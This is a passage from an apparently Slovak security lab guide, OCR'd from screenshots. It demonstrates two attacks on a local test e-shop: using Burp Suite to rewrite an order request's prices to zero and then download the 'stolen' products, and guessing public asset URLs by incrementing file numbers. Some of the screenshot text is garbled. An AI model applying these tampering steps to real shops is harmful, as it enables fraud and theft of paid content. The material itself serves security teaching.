Pa	iying met	thods		Card	Rank Transfer	Cash on delivery				^
				Caru	Darik Italister	Casil on delivery				
	Card number 1111 2222 3333 4444 Name of card Emil Kratochvil	 Date 05/21	Security Code 666				Card number	Security code CVV/CVC		
	Price to pay in €									
			4	1.9						
					Finish order					

Obrázok 49: Zadanie informácií o platbe a potvrdenie

6. Prvý request prepošlite stlačením tlačidla forward.

Burp Suite Community Edition v2020.12 - Temporary Project							
Burp Project Intruder Repeater Window Help							
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options							
Intercept HTTP history WebSockets history Options							
Request to http://localhost:8080 [127.0.0.1]							
rorward Drop Intercept is on Action Open browser							
Pretty Raw \n Actions 🗸							
1 OPTIONS /create/order HTTP/1.1							
2 Host: localhost:8080							
3 Accept: */*							
4 Access-Control-Request-Method: POST							
5 Access-Control-Request-Headers: content-type							
6 Origin: http://localhost:4200							
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36							
8 Sec-Fetch-Mode: cors							
9 Sec-Fetch-Site: same-site							
0 Sec-Fetch-Dest: empty							
<pre>11 Referer: http://localhost:4200/</pre>							
12 Accept-Encoding: gzip, deflate							
13 Accept-Language: sk-SK,sk;q=0.9,cs;q=0.8,en-US;q=0.7,en;q=0.6							
14 Connection: close							
15							
16							

Obrázok 50: Ignorovanie prvého requestu

7. V druhom requeste zmeňte finalPrice na 0. Pre istotu zmeňte aj všetky ceny produktov na nulu. Následne stlačte forward.

Burp Suite Community Edition v2020.12 - Temporary Proj	Dung Cuite Community Filiping (2020.42) Terrangen Derivet
Burp Project Intruder Repeater Window Help	Burp Suite Community Edition v2020.12 - Temporary Project
Dashboard Target Proxy Intruder Repe	Burp Project Intruder Repeater Window Help
Intercept HTTP history WebSockets history C	Dashboard Target Proxy Intruder Repeater Sequencer Deco
A	Intercept HTTP history WebSockets history Options
Request to http://localhost:8080 [127.0.0.1]	A Descurate http://baselbaseb0000.[127.0.0.1]
Forward Drop Intercept is on	Request to http://iocainost:0000 [127.0.0.1]
	Forward Drop Intercept is on Action Open
Pretty Raw \n Actions V	Pretty Paur Va Artigar M
1 POST /create/order HTTP/1.1	Pretty Raw (II Actions *
2 Host: localhost:8080	1 POST /create/order HTTP/1.1
4 Accept: application/ison_text/plain_#/#	2 Host: localhost:8080
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; W:	4 Accept: application/ison, text/plain, */*
6 Content-Type: application/json	5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/!
7 Origin: http://localhost:4200	6 Content-Type: application/json
8 Sec-Fetch-Site: same-site	7 Origin: http://localhost:4200
9 Sec-Fetch-Mode: cors	8 Sec-Fetch-Site: same-site
10 Sec-Fetch-Dest: empty	9 Sec-Fetch-Mode: cors
11 Referer: http://localhost:4200/	10 Sec-Fetch-Dest: empty
12 Accept-Encoding: gzip, deflate	11 Referer: http://localhost:4200/
14 Connection: close	12 Accept-Language, staff state
15	14 Compection: close
16 (15
"userName": "ffdgfd",	16 (
"shipmentAddress": "gfdgfd",	"userName":"ffdgfd",
"cartInfo":{	"shipmentAddress": "gfdgfd",
"products": ["cartInfo": (
{	"products":[
"price":1.45,	
"name": "Kamarå"t by	"price":0.0,
}	"name": "KamarÅ" tkv"
1,)
"finalPrice":6.9	1,
},	"finalPrice":0.0
"creditCardInfo":{),
}	"creditCardInfo": {
}	}
	1

Obrázok 51: Zmena informácií v druhom requeste

8. Objednávka bola úspešne uskutočnená. Teraz si môžete stiahnuť ukradnuté produkty.



Obrázok 52: Stiahnutie ukradnutých produktov

Získanie prístupu k súborom

Útočník by mal vedieť, že ako technológia bol použitý Angulár. Na základe tejto informácie by mal byť schopný dostať sa k verejne uloženým súborom na stránke zadaním do prehliadača cestu k assets/images. Už je len potrebné zistiť presnú cestu. Pri minulom scenári s ukradnutím produktu si ale môže všimnúť, že produkty obsahujú cestu vedúcu na frontend a verejne dostupnú. Inkrementuje číslo nejakého súboru a získa ďalší zo súborov bez väčšej námahy. Následne môže stiahnuť obsah ponúkaných produktov aj bez nutnosti platby za ne.

1. Získajte odkaz z ukradnutého súboru.

Kamarátky	• Return back	Cotvoriť odkaz na novej karte Otvoriť odkaz v novom okne Otvoriť odkaz v okne inkognit Uložiť odkaz ako Kopírovať adresu odkazu	0
		Preskúmať	Ctrl + Shift + I
🛃 005.jpg 🔷		Zobraziť všetky	×

Obrázok 53: Získanie odkazu na stiahnutý obsah



2. Použite podobný názov súboru pri zadaní do okna prehliadača.

Obrázok 54: Vyskúšanie podobnej adresy s inkrementovaným číslom obrázka